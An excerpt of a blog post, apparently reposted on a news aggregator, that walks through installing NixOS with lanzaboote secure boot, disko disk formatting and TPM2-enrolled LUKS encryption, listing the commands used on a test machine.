Fortunately, the setup is extremely simple with lanzaboote. I recommend having a look at their Quick Start Guide in case you don’t know the project already. I’ve added the full configuration of the test machine here, in case you want to replicate this. The final setup steps were:# Clear secure boot keys, start nixos live image, copy flake to live image, then: [root@nixos]# alias nix=‘nix –experimental-features “nix-command flakes”’ [root@nixos]# nix build –print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko [root@nixos]# nix build –print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e
# Format and install: [root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko # Format disk(s) [root@nixos]# nixos-install –no-root-password –system \ # Install system /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e [root@nixos]# nixos-enter –mountpoint /mnt — sbctl create-keys # Create and enroll secure boot keys, need to rerun install afterwards to make lanzaboote happy
# Reboot and enroll LUKS key: [root@nixos]# systemd-cryptenroll /dev/disk/by-partlabel/disk-main-luks –tpm2-device=auto –tpm2-pcrs=0+2+4+7 # … Enter password … New TPM2 token enrolled as key slot 1.
...
Read the original on oddlama.org »
To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".
10HN is also available as an iOS App
If you visit 10HN only rarely, check out the the best articles from the past week.
If you like 10HN please leave feedback and share
Visit pancik.com for more.